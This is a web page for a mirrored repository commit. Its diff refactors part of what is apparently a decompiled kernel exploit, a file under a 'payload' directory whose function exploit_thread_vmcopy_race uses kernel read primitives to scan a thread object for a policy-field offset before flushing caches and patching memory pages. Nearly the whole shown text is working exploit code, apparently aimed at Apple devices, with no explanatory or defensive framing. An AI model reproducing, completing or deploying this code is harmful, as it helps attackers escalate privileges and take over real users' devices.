CalvinBackup/coruna
1
0
Fork 0
mirror of https://github.com/khanhduytran0/coruna.git synced 2026-08-29 21:40:38 +02:00
Code Issues Packages Projects Releases Wiki Activity

Extract vmcopy policy offset scan

Browse Source
This commit is contained in:
khanhduytran0
2026-06-17 16:25:18 +07:00
parent d4b98b1942
commit 8fc612ab54
1 changed files with 21 additions and 24 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/payload_377bed/entry1_type0x09_iogpu_physmap_engine.inc
+21 -24
View File
@@ -219,6 +219,26 @@ static inline void vmcopy_init_trigger_thread_block(
block->state = state; block->state = state;
} }
static inline uint32_t vmcopy_find_thread_policy_offset(
__int64 kreadCtx,
uint64_t threadKobject,
const integer_t policyInfo[4])
{
uint32_t foundOffset = 0;
for ( uint32_t offset = 252; offset < 0x2FC; offset += 4 )
{
if ( kread_u32_value(kreadCtx, threadKobject + offset + 4) != (uint32_t)policyInfo[0] )
continue;
if ( kread_u32_value(kreadCtx, threadKobject + offset + 8) != (uint32_t)policyInfo[1] )
continue;
if ( kread_u32_value(kreadCtx, threadKobject + offset + 12) == (uint32_t)policyInfo[2] )
foundOffset = offset + 4;
}
return foundOffset;
}
static inline void vmcopy_patch_memory_entry_page(__int64 kreadCtx, __int64 pageInfoKaddr, uint32_t ppnum, __int128 scratch[2]) static inline void vmcopy_patch_memory_entry_page(__int64 kreadCtx, __int64 pageInfoKaddr, uint32_t ppnum, __int128 scratch[2])
{ {
memset(scratch, 0, 32); memset(scratch, 0, 32);
@@ -7816,11 +7836,6 @@ __int64 __fastcall exploit_thread_vmcopy_race(__int64 someStruct)
vm_address_t v27; // x26 vm_address_t v27; // x26
thread_act_t v28; // w22 thread_act_t v28; // w22
unsigned __int64 v29; // x22 unsigned __int64 v29; // x22
unsigned __int64 i; // x24
int v31; // w0
int v32; // w0
int v33; // w0
unsigned int v34; // w8
__int64 *v35; // x24 __int64 *v35; // x24
vm_address_t v36; // x28 vm_address_t v36; // x28
thread_act_t v37; // w0 thread_act_t v37; // w0
@@ -8041,25 +8056,7 @@ __int64 __fastcall exploit_thread_vmcopy_race(__int64 someStruct)
thread_policy_set(v28, 2u, policy_info, 4u); thread_policy_set(v28, 2u, policy_info, 4u);
v29 = get_task_kobject_addr_from_field32(*(uint64_t *)(someStruct + 8), v28); v29 = get_task_kobject_addr_from_field32(*(uint64_t *)(someStruct + 8), v28);
if ( !v107 ) if ( !v107 )
{ v107 = vmcopy_find_thread_policy_offset(*v2, v29, policy_info);
v107 = 0;
for ( i = 252; i < 0x2FC; i += 4LL )
{
v31 = kread_u32_value(*v2, v29 + i + 4);
if ( v31 == policy_info[0] )
{
v32 = kread_u32_value(*v2, v29 + i + 8);
if ( v32 == policy_info[1] )
{
v33 = kread_u32_value(*v2, v29 + i + 12);
v34 = v107;
if ( v33 == policy_info[2] )
v34 = i + 4;
v107 = v34;
}
}
}
}
v35 = (__int64 *)(v98 + (v23 & 0x3FFF) + v97); v35 = (__int64 *)(v98 + (v23 & 0x3FFF) + v97);
v36 = v27 + v105; v36 = v27 + v105;
flush_cpu_cache(*(uint64_t *)(someStruct + 8), v29 + v107 + 4, 1); flush_cpu_cache(*(uint64_t *)(someStruct + 8), v29 + v107 + 4, 1);